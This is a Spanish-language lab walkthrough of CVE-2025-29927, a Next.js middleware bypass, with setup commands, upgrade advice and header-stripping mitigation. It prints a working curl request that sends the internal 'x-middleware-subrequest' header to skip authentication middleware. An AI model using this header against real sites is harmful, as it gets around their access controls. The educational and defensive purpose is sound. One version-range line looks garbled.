
Una prueba de concepto para CVE-2025-29927 que demuestra una evasión de middleware en versiones de Next.js anteriores a la 13.5.9
CVE-2025-29927 es una vulnerabilidad de Bypass de Middleware encontrada en versiones de Next.js 1.11.4 y anteriores a las versiones 12.3.5, 13.5.9, 14.2.25 y 15.2.3. Permite a un atacante externo saltarse la lógica de seguridad —como autenticación, detección de bots o redirecciones por geolocalización— que un desarrollador ha implementado en su archivo middleware.ts.
Next.js utiliza cabeceras HTTP internas para comunicarse entre sus diferentes capas arquitectónicas. Una de estas cabeceras es x-middleware-subrequest.
La vulnerabilidad existe porque las versiones vulnerables de Next.js confían en esta cabecera incluso cuando es enviada por un cliente externo (como un navegador o curl). Cuando el servidor ve esta cabecera, asume que la solicitud ya ha sido procesada y "aprobada" por el middleware, por lo que omite la ejecución de su código de seguridad por completo.
El laboratorio se ejecuta dentro de un contenedor Docker Node:18-alpine para garantizar un entorno limpio y reproducible.
Comenzamos iniciando un contenedor con nombre en segundo plano. Usamos sleep infinity para mantener el contenedor vivo durante la configuración.
Inicialmente tuve algunos problemas al reiniciar mi contenedor en etapas posteriores, por eso opté por sleep infinity.
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
Instalamos la versión vulnerable específica de Next.js. Ten en cuenta que a pesar del flag --src-dir false, el framework crea un directorio src, que es donde debemos colocar nuestro middleware para que esté activo.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
Para simular una barrera de seguridad, creamos un archivo middleware.ts. Este middleware está configurado para bloquear todas las solicitudes entrantes con un estado 401 No Autorizado.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Inicia el servidor de desarrollo y espera la señal ✓ Ready en la consola.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Abre una nueva ventana de terminal (no cierres la terminal anterior) en tu máquina anfitriona para probar el entorno usando curl.
Una solicitud estándar sin cabeceras modificadas es correctamente interceptada y bloqueada por nuestro middleware.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
Al inyectar la cabecera interna x-middleware-subrequest: src/middleware, engañamos a Next.js para que crea que la solicitud ya ha sido verificada por un proceso interno. El servidor omite la ejecución del middleware y concede acceso completo.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
Para proteger tu aplicación contra CVE-2025-29927, debes actualizar Next.js a la versión parcheada correspondiente a tu versión mayor actual:
La vulnerabilidad está resuelta en las siguientes versiones. Asegúrate de que tu package.json refleje al menos estas versiones:
# Example for updating to the latest patched version
npm install next@latest
Si no es posible una actualización inmediata, debes configurar tu Cortafuegos de Aplicaciones Web (WAF) o Proxy Inverso (por ejemplo, Nginx, Cloudflare o Varnish) para eliminar o descartar la cabecera x-middleware-subrequest de todas las solicitudes externas entrantes antes de que lleguen al servidor de la aplicación Next.js.
Después de actualizar, puedes verificar la corrección ejecutando nuevamente el comando de explotación del Paso 5. Un servidor parcheado ya no concederá un 200 OK cuando la cabecera falsificada esté presente.
Esta vulnerabilidad existe porque Next.js confía en cabeceras del lado del cliente para identificar sub-solicitudes internas. Para mitigarla, Next.js debe actualizarse a una versión que valide o elimine adecuadamente estas cabeceras internas del tráfico entrante externo.